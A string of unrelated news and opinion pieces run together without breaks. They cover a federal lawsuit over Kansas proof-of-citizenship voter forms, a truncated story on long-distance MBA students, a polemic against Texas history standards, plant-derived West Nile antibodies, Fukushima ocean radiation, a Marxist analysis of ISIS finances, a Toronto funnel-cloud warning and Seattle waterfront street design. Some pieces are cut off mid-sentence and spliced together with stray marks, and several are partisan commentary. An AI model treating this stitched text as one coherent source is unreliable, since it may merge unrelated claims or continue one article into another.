The Supreme Court ruled three years ago that Arizona could not require proof of citizenship from people registering to vote using a federal registration form. But that didn’t stop anti-immigrant groups and conservative states from continuing to try. And those efforts, which resulted in the federal lawsuit that prompted last week’s injunction, have already created havoc and may have disenfranchised tens of thousands of voters in the run-up to the hotly contested presidential election this year.
Lloyd Leonard, the senior director for advocacy for the League of Women Voters, one of the plaintiffs in the case, says the stakes are high. He considers the number of citizens disenfranchised because they failed to produce citizenship documents, as they already have been in Kansas, potentially “outcome determinative” in an election. A loss would likely result in “a state-by-state fight in the battle over voter suppression,” which “we’re trying to nip that in the bud,” he says.
The lawsuit, League of Women Voters v. Newby, features a cast of characters who’ve been behind some of the nation’s most aggressive state anti-immigration legislation as well as restrictive voter ID laws. The litigation reveals how, despite multiple legal setbacks, they’ve found creative new targets and avenues to continue their fight for voting restrictions that could affect elections across the country. One of the leaders in that fight is Kansas Secretary of State Kris Kobach, who has been on the front lines of the country’s anti-immigration battles for the past decade, and he has said he is an immigration adviser to GOP presidential nominee Donald Trump.
Kobach did not respond to a request for comment after Friday’s court decision, but he told the conservative Heritage Foundation’s Daily Signal that “there is a huge potential for aliens’ votes to swing a close election. Even if it’s just a handful of votes, it’s still a huge injustice. Every time an alien votes, it effectively cancels out a vote of a U.S. citizen.”
“There is a huge potential for aliens’ votes to swing a close election. Even if it’s just a handful of votes, it’s still a huge injustice. Every time an alien votes, it effectively cancels out a vote of a U.S. citizen.”
The lawsuit involves an obscure federal agency called the Election Assistance Commission (EAC). In the wake of the controversial presidential election in 2000, Congress created the agency in 2002 as part of the Help America Vote Act, a law specifically designed to make voting easier. With two Republican and two Democratic commissioners, nominated by the president and confirmed by the Senate, the commission has authority over the federal mail-in voter registration form. In January this year, the executive director of the EAC signed off on a request from Kobach to change that form used in Kansas to require proof of citizenship.
Kobach is no ordinary government official, and this was no ordinary request. The Harvard-Yale-Oxford lawyer has drafted some of the most extreme state anti-immigrant legislation, including the Arizona law the Supreme Court shot down in 2013, and he’s advised some of the nation’s most prominent nativists. Even though he was one of the losers in the 2013 Supreme Court case from Arizona, Kobach saw a road map to victory in the decision. In his majority opinion, Justice Antonin Scalia suggested that even though Arizona had violated the law by asking for citizenship papers without approval from the EAC, the agency had the power to authorize the state to add such a requirement to the federal registration form. Since 2006, several states, led by Arizona, have repeatedly and unsuccessfully asked the commission just that. After the 2013 Supreme Court decision, Kobach again asked the commission to allow Kansas to require citizenship papers to register to vote, arguing that it was essential to prevent voter fraud by “aliens.”
Again, in 2014, the commission said no, declaring that the states had presented virtually no evidence of the sort of voter fraud that would justify such a move. Kobach sued the commission, lost in the 10th Circuit Court of Appeals, and the Supreme Court rejected his appeal. But like all good lawyers, Kobach found another opening: the disarray at the EAC.
Justice Alito quipped, “The EAC currently has no members, and there is no reason to believe that it will be restored to life in the near future.”
The agency had gone many years without the requisite three members needed to make an official decision. (In a dissent in the 2013 Arizona case, Justice Samuel Alito quipped, “The EAC currently has no members, and there is no reason to believe that it will be restored to life in the near future.”) But in 2014, the Senate finally confirmed three commissioners, two Republicans and a Democrat—enough for a quorum.
In November 2015, the commissioners appointed Brian Newby as the EAC’s new executive director. Newby just happened to work for Kobach as a county election commissioner in Kansas. His former boss had lobbied the GOP members of the commission to hire his protegé—even as Kobach’s own office was investigating problems with Newby’s job performance. (Newby said that because of the ongoing litigation, he was unable to answer questions for this story.) In March this year, a state audit alleged that Newby had wasted state money, improperly purchasing goodies like Google glasses, taking limos to the airport even though he had a $300 monthly car allowance, and misusing government credit cards.
Emails obtained by the Associated Press showed that Newby was especially grateful for Kobach’s help getting the EAC job, for which he was saying “repeated prayers of thanksgiving.” Newby’s gratitude seemed to extend beyond prayers. According to the AP, Newby gushed in an email to Kobach that “I wanted you in the loop, in part because of other issues in the past with the EAC. I also don’t want you thinking that you can’t count on me in an upcoming period that will tax our resources.”
It didn’t take long for these assurances to become action. Just two months after taking the EAC job, Newby approved Kobach’s fifth request to allow Kansas to require proof of citizenship on its federal voter registration form. He also unilaterally granted similar requests from Alabama and Georgia that had been made roughly two and three years earlier—even though the EAC had previously denied the one from Georgia—without a vote from the commissioners.
Voting rights advocates, including the League of Women Voters and the American Civil Liberties Union, filed suit against Newby and the EAC in February, asking a DC federal judge to immediately block the change in the registration forms before the upcoming primary elections. US District Court Judge Richard Leon, appointed by President George W. Bush, refused. The hotly ideological legal battle has waged on ever since.
Kobach was not a party to the original suit, but he successfully petitioned the court to allow him to intervene. He argued that the Obama Justice Department was deeply opposed to proof-of-citizenship requirements and couldn’t be relied on to vigorously defend the agency. (He was right; the Department of Justice ultimately refused to defend Newby, arguing that his actions were blatantly illegal.)
“Both the courts and Congress recognize the right to vote as the cornerstone of our democratic system. One hopes that this latest court loss will prompt Mr. Kobach to move on and just let the people vote. Sadly, I’m not going to hold my breath.”
Representing Kobach were lawyers from the Immigration Reform Law Institute, an organization well known for its harsh anti-immigration advocacy. The Public Interest Legal Foundation also intervened on Newby’s behalf to advocate “voting integrity.” The foundation is made up of some former members of the George W. Bush administration who helped promote discredited claims of widespread voter fraud as a way of supporting voter suppression legislation in the states. One of the Republican EAC commissioners has also tried to join Kobach’s crusade independently, represented by lawyers from Judicial Watch, the group famous for its litigiousness against the Clinton and Obama administrations.
The lawsuit dragged on for more than six months, leaving the status of thousands of potential voters in limbo even as registration deadlines were fast approaching. Finally, the DC Circuit Court of Appeals overturned Judge Leon’s decision and issued an injunction requiring Kansas, Georgia, and Alabama to immediately remove the proof-of-citizenship language from their registration forms and to allow people who’d already tried to register without the citizenship paperwork to join the voter rolls. Orion Danjuma, a lawyer from the ACLU involved in the case, says, “Both the courts and Congress recognize the right to vote as the cornerstone of our democratic system. One hopes that this latest court loss will prompt Mr. Kobach to move on and just let the people vote. Sadly, I’m not going to hold my breath.”
Many citizens have already been affected. Alabama and Georgia claimed not to be enforcing the citizenship requirement during the litigation, but Kansas has been, even before the EAC authorized it. In a court hearing last week, Kobach said the state has put more than 17,000 people on what they refer to as a “suspense list” for failing to include citizenship proof with their federal registration forms; at times it has had as many as 35,000. Voting rights advocates believe most are citizens eligible to vote. They’re folks like Marvin Brown, who became an EAC plaintiff. He’s a 90-year-old World War II veteran who tried to register to vote in Kansas without proof of citizenship and was turned down.
Harder to quantify is how many eligible people the citizenship language deterred from registering at all. In legal filings, the League of Women Voters described some of the logistical difficulties the requirement has created. A League official in Kansas said in 2014, volunteers spent 32 hours visiting the homes of 115 people on the suspense list, in an outreach that netted only 30 completed voter registrations.
Litigation on the merits of the League’s lawsuit continues before Judge Leon in the trial court, meaning Kobach could still ultimately prevail, just not for this year’s election. Kobach plans to keep up the fight, all the way to the Supreme Court again if necessary. “This [is] about the rule of law,” Kobach told the Signal. “We have law-breaking when it comes to elections, and solving the problem is not difficult.”Would you travel over 14,000 miles every other weekend for an MBA? These hardy souls do it and don’t have too many qualms about the payback either.
(poetsandquants.com) — George Clooney, step aside.
You’re a piker next to Harsh Gupta, the quintessential “Up in the Air” road warrior (referring to the 2009 movie starring Clooney, who plays a consultant that travels over 300 days a year on business).
Every other weekend, Gupta flies 7,261 miles through 10 time zones from Dubai to Chicago simply to get an executive MBA degree from Northwestern University’s Kellogg School of Management in Evanston, Ill. All told, the |
discussion of prominent civil rights opponents like Barry Goldwater or, whoops, George H.W. Bush, who campaigned against the 1964 Civil Rights Act when he was running for the Senate. They likely won't be mentioning that, while running for governor in 1966, Ronald Reagan encouraged the repeal of the Fair Housing Act. He explained why: "If an individual wants to discriminate against Negroes or others in selling or renting his house, it is his right to do so."
In addition, Texas school kids will now be learning history that's even whiter than before.
According to the Dallas Morning News, Peter Marshall--an evangelical minister who was one of six handpicked "experts" who advised the board on the changes--spoke out last year against inclusion of both United Farm Workers organizer Cesar Chavez and Supreme Court Justice Thurgood Marshall, the first African American justice on the Court.
Hispanic board members were largely defeated on proposals to include more Latino role models. According to the New York Times, one member of the board, Mary Helen Berlanga, left the meeting in protest, saying of her fellow board members: "They can just pretend this is a white America and Hispanics don't exist...They are going overboard, they are not experts, they are not historians. They are rewriting history, not only of Texas but of the United States and the world."
Another change--this one personally pushed by McLeroy would, in the words of the New York Times, "ensure that students study the violent philosophy of the Black Panthers in addition to the nonviolent approach of the Rev. Dr. Martin Luther King Jr."
Abolitionist Harriet Tubman has been removed as an example of "good citizenship" for third graders in favor of Red Cross founder Clara Barton. (Although the board did include Helen Keller--presumably only because they were unaware that Keller was a dedicated socialist and anti-imperialist.)
Progressives are, naturally, targets for the new standards. One of the newly approved changes mandates that students study "the unintended consequences" (presumably negative) of the Great Society legislation, affirmative action and Title IX legislation.
And socialists and communists are particularly vilified in an amendment that requires that the history of McCarthyism now include "how the later release of the Venona papers confirmed suspicions of communist infiltration in U.S. government."
There you go...the Red Scare and McCarthysm were entirely justified. Why? Because a dentist and other members of the Texas Board of Education say so.
The benefits of capitalism as an economic system are also to be reinforced. The revisions add Milton Friedman and Friedrich von Hayek to the usual list of economists to be studied. And, because of its "negative connotation," the term "capitalism" is being replaced with "free-enterprise system." (One imagines that a few too many members of the board might have been called "capitalist pigs" in their time.)
Even poor Thomas Jefferson didn't pass muster for the Texas board. He was cut from a list of people whose writings inspired 18th and 19th century revolutions--and replaced with St. Thomas Aquinas, John Calvin and William Blackstone.
The reason? Conservatives didn't want to emphasize Jefferson's pesky belief in the necessity of a wall of separation between church and state.
In another of the more ridiculous amendments, Republican board member Cynthia Dunbar unsuccessfully tried to strike from the standards any reference to the Scopes "monkey trial" that put teaching about evolution on trial. Dunbar also sought to eliminate the famed defense attorney Clarence Darrow as well as the Black nationalist leader Marcus Garvey.
AS MAVIS Knight, a Democrat on the Texas Board of Education, told the New York Times, "The social conservatives have perverted accurate history to fulfill their own agenda."
But the new conservative history "standards" on Texas are hardly an anomaly. Witness Virginia, for example, where Republican Gov. Bob McDonnell recently declared April to be "Confederate history month." In his proclamation "honoring" soldiers who fought on the side of the South, however, McDonnell made one small omission: he neglected to say a word the institution of slavery or about the millions of slaves who lives and labor built the South. According to the Washington Post, McDonnell justified his omission by claiming that "there were any number of aspects to that conflict between the states. Obviously, it involved slavery. It involved other issues. But I focused on the ones I thought were most significant for Virginia."
Funny that McDonnell didn't realize that slavery might be significant to the African Americans who can trace their roots to human chattel brought to plantations in Virginia.
Unfortunately, it's not just Texas kids who may suffer the consequences of their new curriculum. Texas is one of the largest buyers of textbooks in the country--which means that the curriculum changes could be forced into other states' textbooks, since larger-selling books are generally cheaper, an attractive feature to cash-strapped school districts.
"The books that are altered to fit the standards become the bestselling books, and therefore within the next two years they'll end up in other classrooms," Fritz Fischer, chairman of the National Council for History Education, told the Washington Post. "It's not a partisan issue, it's a good history issue."
The irony, of course, is that while the right wing harps endlessly about how leftists "indoctrinate" children with left-wing ideas through liberal education "biases," the revisions to the Texas curriculum are a blatant ideological attack designed to reach the minds of kids and teens. With right-wing social conservatism largely discredited, and poll after poll showing young people to be more liberal than previous generations on a host of social issues, it's not surprising why conservatives might be desperate to push back in whatever way they can.
But just because conservative ideas are enshrined in textbooks doesn't guarantee that their ideas will gain more currency. As Howard Zinn put it in a 2005 essay "Changing minds, one at a time," presenting a people's history requires breaking down the barriers that keep ordinary people from feeling as though we can not only study history, but make it:
It is a challenge not just for the teachers of the young to give them information they will not get in the standard textbooks, but for everyone else who has an opportunity to speak to friends and neighbors and work associates, to write letters to newspapers, to call in on talk shows. The history is powerful: the story of the lies and massacres that accompanied our national expansion, first across the continent victimizing Native Americans, then overseas as we left death and destruction in our wake in Cuba, Puerto Rico, Hawaii, and especially the Philippines. The long occupations of Haiti and the Dominican Republic, the repeated dispatch of Marines into Central America, the deaths of millions of Koreans and Vietnamese, none of them resulting in democracy and liberty for those people. Add to all that the toll of the American young, especially the poor, Black and white, a toll measured not only by the corpses and the amputated limbs, but the damaged minds and corrupted sensibilities that result from war. Those truths make their way, against all obstacles, and break down the credibility of the warmakers, juxtaposing what reality teaches against the rhetoric of inaugural addresses and White House briefings. The work of a movement is to enhance that learning, make clear the disconnect between the rhetoric of "liberty" and the photo of a bloodied little girl, weeping. And also to go beyond the depiction of past and present, and suggest an alternative to the paths of greed and violence. All through history, people working for change have been inspired by visions of a different world. It is possible, here in the United States, to point to our enormous wealth and suggest how, once not wasted on war or siphoned off to the super-rich, that wealth can make possible a truly just society. The juxtapositions wait to be made...The false promises of the rich and powerful about "spreading liberty" can be fulfilled, not by them, but by the concerted effort of us all, as the truth comes out, and our numbers grow.
And that's a fact that even the Texas Board of Education can't write out of history.Chen, a researcher at Arizona State University’s Biodesign Institute and professor in the PolyTechnic Campus’ College of Technology and Innovation, is the first to demonstrate a plant-derived treatment to successfully combat West Nile virus after exposure and infection. The research appears in this week’s issue of the Proceedings of the National Academy of Sciences (advanced online edition).
There are currently no available vaccines against West Nile, nor effective therapeutics for human use, so the current findings are a considerable advancement and may offer the best hope thus far that the West Nile virus infection can be stopped, even several days after viral infection.
West Nile virus has made alarming inroads in North America, causing disease outbreaks throughout the U.S., as well as in areas of Canada, Mexico, the Caribbean and South America. Elderly individuals and those with depressed immunity are particularly vulnerable to West Nile, a mosquito-borne illness which can cause a potentially lethal inflammation of the brain.
Chen’s group demonstrated the versatility of plant-based biotechnology. “The goal of this research was twofold,” said Chen. “First, we wanted to show proof-of- concept, demonstrating that plant-made antibodies can work as effective post-exposure therapeutics. Secondly, we’ve sought to develop a therapeutic which can be made inexpensively so that the health care systems in developing countries can afford it.”
Issues of affordability for such antibody-based treatments are central to the challenge, Chen stresses, with the costs for development of a traditional pharmaceutical mammalian cell line production facility often running into the tens of millions of dollars. Besides being inexpensive, plants offer other advantages. Mammalian cell lines may run the risk of harboring animal pathogens such as viruses or infectious protein agents known as prions, not found in plants. Plants also allow production of pharmaceutical products to be easily scaled up to whatever quantities are required. “With mammalian cells systems, the physical size of the bioreactor is limiting,” said Chen, “whereas with plants, we can just plant another acre.”
The study examined antibodies against West Nile virus derived from mammalian cell lines and compared their effectiveness with those extracted from plants. The plants used to produce the antibodies are a relative of common tobacco, a member of the Solanceae family of plants, which produce abundant leaves for harvesting material and are also prolific seed producers. Seven days after the introduction of antibody genes into plants, the leaves are harvested, homogenized and purified to remove extraneous material.
The strategy for gene insertion is to use the specific machinery of the tobacco mosaic virus and potato virus X (PVX) to carry the genes of interest into the plants, where they can be expressed, yielding a human monoclonal antibody known as hu-E16. The gene expression occurs in just a week’s time, making the production process highly efficient.
The monoclonal antibody, once injected into the recipient, binds to a particular surface protein of the virus. That binding site is also the one used by the virus to attach itself to mammalian host cells, and once it is occupied, the virus’ cell-binding (and infectious) capacity is neutralized.
Cell-derived versions of this antibody have already demonstrated impressive effectiveness, protecting mice from WNV-induced mortality even several days after infection. Chen’s research shows comparable effectiveness using tobacco-plant derived monoclonal antibodies. Indeed, the results in the groups of mice tested, were essentially indistinguishable. The therapeutic, Chen emphasizes, is effective in very small dosages, (50-200 micrograms), and only one dose is required to clear the virus from an infected individual’s system.
The effectiveness of the plant expression system is dependent in part on the optimization of the antibody DNA sequence, which helps to ensure a high level of expression in the plants. “The goal is to make more of the protein and for it to persist longer before it is degraded, ” said Chen. “Optimization helps.” The strategy permitted the group to set a record for the antibody yield produced by the transgenic tobacco plants—an increase from 500 micrograms of antibody per gram of leaf tissue to 800 micrograms per leaf.
Because the monoclonal antibody therapeutic binds to a conserved region of the viral surface, it can be effective against a variety of West Nile virus stains and potentially against other flaviviral strains. Here, another advantage of plant-derived as opposed to animal-derived antibodies becomes important. If an individual is exposed to a variant strain of virus differing in some particulars from the antibody used to treat it, there is a chance in the case of the mammalian cell-derived therapy to actually worsen the condition, through an effect known as antibody dependent enhancement. The process has been studied in some detail in dengue fever, a related flavivirus. Chen emphasizes that plant-based antibodies lack the capacity to bind with a critical receptor implicated in the antibody dependent enhancement effect, making them potentially safer for use.
The completion of this research relied on the efforts of a large, interdisciplinary team, including lead author Huafang “Lily” Lai. Michael Diamond of Washington University collaborated in studies with the mouse model. In addition to Chen’s ASU scientist colleagues, Thomas Keller, an undergraduate in ASU’s School of Life Sciences Undergraduate Research program appears as a co-author of the PNAS paper, having carried out much of the critical protein expression and characterization work. “This was a very remarkable achievement for an undergraduate student,” Chen points out. The research was supported by grants from the National Institute of Allergy and Infectious Diseases, and Keller’s work was supported in part through the Howard Hughes Fellowship for Undergraduate Research.
While the group’s focus has been on West Nile Virus, Chen believes the plant-based antibody approach could provide highly effective, cost efficient therapeutics for other diseases, including related flavivirus infections such as dengue fever and Japanese encephalitis, if the successes in mice can be replicated in humans.
One challenge in treating a virus like West Nile, which targets the central nervous system, is that current antibody therapeutics are unable to pursue the virus into its sanctuaries in the human brain, due to the existence of the blood brain barrier. If this obstacle can be overcome, it may be possible to produce therapeutics capable of eradicating the infection even after 6 or 7 days, when a significant amount of virus has colonized brain tissue.
Toward this end, Chen is now working on bifunctional antibodies, capable of binding with virus particles as well as attaching to receptors in the brain, allowing the antibody to migrate past the blood brain threshold. If successful, the technique may allow treatment of other, currently intractable infectious and neurological diseases. “If we can find a way to deliver therapeutics of this sort into the brain it will be really significant,” said Chen.• Radiation Still Leaking Into Ocean
• Concern About Marine Sediments
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Last April, about a month after the Fukushima nuclear accident, concentrations of cesium-137 in the ocean near the plant peaked at 50 million times above normal levels, according to a study by the Woods Hole Oceanographic Society.
Last May, Woods Hole senior scientist Ken Buesseler told this page of his planned expedition to study the effects of radiation on the ocean.
Buesseler and two Japanese colleagues have just published a paper, Impacts of the Fukushima Nuclear Power Plants on Marine Radioactivity, in the journal Environmental Science & Technology.
Concentrations of cesium-137, a radioactive isotope with a 30-year half-life, at the plants' discharge points to the ocean peaked at more than 50 million times normal/previous levels. Concentrations 18 miles offshore were higher than those measured in the ocean after the Chernobyl accident 25 years ago.
Despite the alarming concentrations, the radiation rapidly diluted in the currents northwest of the plant, the scientists contend, and they should pose little or no threat to human and marine life. However, little is known about the effect of radiation on the lowest levels of the coastal ecosystem.
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"We don't know how this might affect benthic [bottom dwelling and subsurface] marine life, and with a half-life of 30 years, any cesium-137 accumulating in sediments or groundwater could be a concern for decades to come," Buesseler said.
The radionuclides peaked in April when Toyko Electric Power was using water to cool exposed reactor cores and spent fuel and discharging the contaminated water into the ocean. The levels dropped dramatically in May when crews began capturing the contaminated water for treatment.
But even in July, radiation levels were still 10,000 times higher than levels measured in 2010 off the coast of Japan, the study found, and the plants "remain a significant source of contamination to the coastal waters off Japan."
"There is currently no data that allow us to distinguish between several possible sources of continued releases," says Buesseler.
"These most likely include some combination of direct releases from the reactors, or storage tanks or indirect releases from groundwater beneath the reactors or coastal sediments, both of which are likely contaminated from the period of maximum releases."
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How To Remove Radioactive Iodine-131 From Drinking WaterAs ISIS (the Islamic State in Iraq and a-Shams) crossed the border between Syria and Iraq, it proclaimed this to be the “annihilation of the disgrace of Sykes-Picot” and the formation of an ‘Islamic state’ (IS).
The current situation in Iraq is not only a result of the US-led invasion in 2003 but also reflects the bloody legacy of the world war that started 100 years ago. As ISIS (the Islamic State in Iraq and a-Shams) crossed the border between Syria and Iraq, it proclaimed this to be the “annihilation of the disgrace of Sykes-Picot” and the formation of an ‘Islamic state’ (IS).
It turns out that parts of the Marxists’ previous analysis were fulfilled despite ISIS being a reactionary force. The CWI in 2003 predicted a collapse of Iraq and its potential split-up into several statelets, this has come true along with the Communist International’s 1920 prediction that the then new borders drawn by imperialism in the region would be swept away.
The 2011 revolutions in the Middle East and North Africa not only opened a new era of working class movements, but also unleashed a massive struggle over the redistribution of wealth and resources along sectarian lines of the various capitalist elites. But now, with the revolution currently stalled in many countries, one of the most dynamic actors in this process is IS which, being expelled out of certain parts of Syria by rival rebel factions, shifted its focus on Iraq. There it provided the necessary fighting power to tip the balance between the Shia-led government of former prime minister Nuri al-Maliki and Sunni Arab forces. It is not IS alone that has conquered the central and northern Iraqi regions. Rather IS has been supported by a highly instable, and already partially collapsing, coalition of various Sunni groups and militias, including former Baathists and local tribal forces. But obviously, IS is the best-organized and most effective force. The conflict between Sunni factions and the Iraqi government has been going on for some time, mainly caused by the regime’s repressive politics and its anti-Sunni economic policy. Already, early in the beginning of this year, the army had lost control of Falluja and a number of other towns and villages in the so-called “Sunni triangle”. It is a long-lasting civil war, which was raised to a new level by the involvement of IS, which now could significantly change the face of the region.
Looking at the current situation in Iraq, IS, or for that matter, any major development in the region, we need to focus not only on the political and military aspect, but on the economic dynamic as well.
Profit-driven warfare
IS, as the New York Times wrote, is spearheading a development which can be subsumed under the term “commercialiszation of Islamic terror.” It’s essentially, to quote the Financial Times, a “multinational corporation selling terror as their product”.
As a significant part of financial activity of jihadist movements, as a-Shabab or Boko Haram, can be more or less summed up with Schiller’s Wallenstein, saying: “The war nourishes the war”. ISIS went at least one step further. This is illustrated by its annual business reports. The last, being a 400 page document covering the “business year” November 2012 to November 2013, printed in high quality, resembling any corporation’s business report, which is distributed to various investors. These reports include detailed lists of the number of attacks, weapon stocks etc. which according to other reports don’t seem to be exaggerations but can be verified by secondary sources. The reports obviously are supposed to on the one side be accountable to the investors, on the other side attracting new ones; the investors of course rich businessmen from the despotic oil-countries on the Gulf.
It is necessary to emphasise the ambivalent position of the Saudi elites in regard to IS. While on the one hand they consider them a Sunni force, useful in countering Shia (read: Iranian) influence, there are also big fears. This is not because of IS’s barbarism, slaughtering hundreds of prisoners, crucifying people on live camera, but because of the potential threat it represents in regard to the Saudi regime and the oil-elites in the region. As it was for Osama bin Laden, IS also declared the house of al-Saud ‘traitors’ and declared their overthrow to be a necessity.
Secondly, there’s a certain element of social critique and acts of despair in the political praxis of IS and the economic situation of poverty from which it grows. The ranks of ISIS are filled with overwhelmingly with young, desperate, radicalised men, often deprived of all rights and suffering oppression. Alienated from existing society, lacking perspectives and angry at what they see as a persecution of Sunnis they see IS as a way of fighting back. Although they are drawn into the reactionary revolt, which IS represents, there is the potential that this anger and frustration could turn against the wealthy on the Gulf. By financing IS and similar groups, sections of the Gulf elite hope they have bought off IS and also weakened enemies.
These elites on the Gulf, if you will, were the ones offering start-up financing, and now are expecting results, presented in the report. But building on this start-up financing, ISIS has managed to develop a relatively stable economic model, mainly based on looting and oil-smuggling. After the conquest of Mosul, IS forces raided the regional branch of the central banking, acquiring around 425 million US dollars. The sale of archaeological artefacts, looted in Syria on the Western black market, brought the group around 36 million US dollars. In the oil-rich regions IS controls, the organisation managed to develop – taking into account the circumstances – a stable oil economy guaranteeing the supply of east-Syrian and Iraqi oil. As for Syria, as the oil harbours are controlled by the regime, there is some kind of informal contract in place, guaranteeing that IS supplies the oil, the regime sells it and the profit is fraternally shared. IS is estimated to have a net-worth of well over two billion US dollars.
This is the financial basis on which IS is built. This highly profitable business enables them to recruit mercenaries and to fill their ranks with fresh fighters. As the economic situation of the region means that an increasing number of young people see absolutely no way to escape hunger and despair, fighting for ISIS can be seen as the only way out. The German news magazine Der Spiegel recently interviewed a young IS militiaman. Coming from a conservative, desperate, painfully poor neighbourhood in Istanbul, with no perspective for a job or a future whatsoever, he joined ISIS, now earning around 400 US dollars a month. There are reports of recruitment campaigns by IS promising young men 10,000 US dollaers for their weddings and a BMW X5 as bonuses to their usual wage, if they join them.
While neither the religious, fanatic impetus nor the religious, national and tribal divisions in Syria and Iraq should be underestimated, it is also necessary to take into account that at least one of the main forces on the ground happens to be, or at least act like, a profit-driven, capitalist corporation. Direct profit-driven military activity, not only as a proxy, but for direct private accumulation, brings in a new dynamic to the regional conflict. This is especially important, taking into account that there are significant western and Iranian interests at stake. The Iranian al-Quds-Brigades which are currently active in Iraq are not only a Shia force, fighting against Sunnis for political control, but also have their own business interests. The Iranian Revolutionary Guards, to which the al-Quds-Brigades belong, are not only a significant part of the Iranian army, but also own the largest corporations with significant investments in neighbouring Iraq, now under threat by IS.
IS and its economy is deeply interwoven with regional capitalism, in some respect even is a key element of regional capitalism. It is a result of a global and regional structural and acute economic crisis. The IS in a way represents not only a new kind of right wing political Islam but also a somehow new way of capital accumulation, not only in a rather primitive archaic form, like looting etc. what we have always seen in war, but as a state of the art capitalist corporation.
Perspectives for Kurdish independence
The current break-up of Iraq might be the biggest possibility for some time for the establishment of a formally independent Kurdish state. Peshmerga forces used a short military vacuum during IS’s advance into Iraq to take Kirkuk, an oil-rich city which has been disputed for a long time between Kurds and Arabs, and the Kurdish authorities have announced a referendum on total independence.
Western imperialism currently is showing massive support for the Kurdish authorities as they seem to be the only force on the ground at least somehow capable of fighting IS. Though poorly armed, the Peshmerga, linked to the parties running the automatous Kurdish region in Iraq, and especially the PYD, which are based in Kurdish areas in Syria and linked to the PKK, seem to have stopped IS’s advance for now. Thus they prevented the threatened mass murder of the Yezidi minority. As this struggle of the Kurdish forces against the IS deserves support, it’s also necessary to clearly state the dangers involved in the current situation, especially concerning the role of imperialism and the threat of deepening national and religious divisions.
Forces like IS can only be isolated and defeated by undermining their base amongst Sunnis, but for this to happen the mass of Sunnis need to see a future free from oppression and one which offers a better life. However none of the competing elites, whether they be Sunni, Shia or Kurd, can offer this to the mass of Sunnis or Shias and Kurds. This could only be achieved by the creation of a movement uniting the working people and poor of the region in a struggle against persecution, in defence of democratic rights and for a break with capitalism.
But currently there are no significant forces in the region that stand for such a programmer. Indeed there is the danger that western imperialism could use a semi-independent Kurdish state as a new operational base, a foot in the door, in the region. The current US airstrikes are not just intended to halt IS’s advance and prevent massacres but to re-establish the US military as a significant force in the region and to gain influence on the course of events (i.e. making the Kurds dependent on US interests and intervention). This has already been discussed prior to IS’s advance and was illustrated by the Israeli Prime Minister Benjamin Netanyahu’s endorsement of the idea of an independent Kurdish state, which was followed by a number of similar remarks of US-politicians. This happens in the context of the US’s desperate search for new allies in the region. Currently, Washington is in an informal coalition with the Iranian regime in defence of the Shia-dominated government in Iraq. This is a highly instable alliance which probably won’t last long.
As the CWI supports the Kurds’ – and for that matter any groups’ who consider itself a nation – right to be independent, but we also warn of illusions into an independent Kurdistan. If it materializes, it is going to be, as the autonomous region is now, a statelet, heavily dependent on Turkish and western imperialism. The autonomous region in Iraqi Kurdistan is currently effectively ruled by two rivalling Mafia-clans, the Baraznis and the Talabanis. Both have their own parties (KDP and PUK), their own banks, construction- and investment companies, militias etc.
At the same time there are very big hopes by Kurds in the region and in the Diaspora in the prospects for an independent state, which are fully understandable considering the almost 100-year-long bloody suppression and persecution of Kurds in the region. If a Kurdish state would take shape, the national honeymoon probably won’t last long. In Syria, there were already clashes reported between PYD (PKK) forces and those loyal to Barzani and/or Talabani. In the past, the Kurdish authorities in northern Iraq have repeatedly allowed Turkish cross-border attacks against PKK-forces.
If the working masses of the various ethnic and religious groups fail to organize and take up the fight, it is very likely that the imperialist and sectarian onslaught will carry on. The imperial-drawn boundaries will collapse in the face of the current turmoil. But if they’re not changed by the working class, there will be new, sectarian boundaries, drawn in blood of the masses.Environment Canada says conditions are favourable for funnel clouds in the Greater Toronto Area and most of Southern Ontario on Thursday evening.
The weather agency says some unseasonably cold and unstable air around Southern Ontario could cause rotation to develop.
"Heavier showers or weak thunderstorms could briefly produce funnel clouds, and some of those funnel clouds may briefly become tornados," Geoff Coulson, a Warning Preparedness Meteorologist with Environment Canada told CBC News.
These types of tornadoes tend to be short-lived, but Coulson says people should be prepared to get into shelter on the off-chance a tornado develops.
"Some funnel clouds just remain funnel clouds and there is no contact with the surface, but what's important to note is the funnel does not need to be visible all the way to the ground for it to be a tornado," says Coulson.
"If people are seeing a funnel next thing they should be doing is look under the base of the funnel and if they are seeing dust and debris swirling around and being picked up, it is in fact a tornado."
Coulson says storms Thursday afternoon will likely bring dime-sized hail, wind gusts up to 70 kilometres an hour and frequent lightning.
Environment Canada says to treat any sighting of funnel clouds seriously, and if you spot one take shelter immediately.
Meteorologists say these types of tornados usually appear with little to no warning.Seattle’s downtown waterfront has had a tumultuous couple of years. There was the protracted fight over whether to replace the damaged Highway 99 viaduct with an underground highway, a surface highway or a rebuilt viaduct, which became a central issue in the 2013 mayoral election. The tunnel plan won out, but construction has hit one snag after another and is years behind schedule. Last year, a campaign to rebuild the viaduct into an elevated park collected enough signatures to put the issue to a vote.
Seattleites finally got the chance to decide on the elevated park idea last week in the August primaries. It was an overwhelming no, with at least over 82 percent voting against. (Washington votes by mail so ballots are still trickling in.)
With the elevated park off the table, the city is ready to push ahead on the street-level portion of its waterfront plan, which, among other things, includes a promenade, a park, a bike path and a redesigned Alaskan Way surface street. But a group of pedestrian, bicycle and transit advocates is trying to throw up a roadblock. They want the city to revise the Alaskan Way plan, part of which the group refers to as a “highway on top of a highway.”
The mile-long Alaskan Way proposal is essentially split into two sections: north of Columbia and south of Columbia. The advocates are generally happy with the northern two-thirds of the design; that offers two car travel lanes in each direction, curb bulb-outs at intersections to shorten crossings for pedestrians and center medians on some blocks.
“The street crossings [in the northern section] will be a lot shorter. It’ll be easier for people walking of all ages and abilities,” says Lisa Quinn, Feet First executive director. “That will be a good improvement to our current waterfront.”
But Quinn isn’t satisfied with the city’s proposal for south of Columbia.
The design varies from block to bock, but in general, it is 96 feet wide with two 12-foot bus lanes, four 11-foot car lanes, a left turn lane, two ferry loading lanes and a center island median.
“When you get to south of Columbia you still have an eight-lane highway,” says Quinn. “The waterfront is a transportation hub for people walking. We’re the most vulnerable. But we’re not being prioritized, we’re being compromised.”
Part of the problem stems from the many, many competing needs of the major north-south corridor. As Quinn says, there is significant foot traffic from tourists, ferry riders, bus riders and residents. There is bike traffic. There will be heavy car traffic from drivers getting off the ferry and people heading into downtown since the highway tunnel will bypass downtown. Alaskan is an important route for freight traffic coming out of the port. And the ferry uses space on the road to queue its car traffic.
“There’s so much trying to happen in a constrained space it does have a very practical challenge in terms of the width of that road,” says Marshall Foster, director of Seattle’s Office of the Waterfront. “We’re trying to strike this very, very hard balance. But without throwing someone off the island — transit or ferries or something else — this is the optimized solution that’s going to make everybody be able to do what they have to do.”
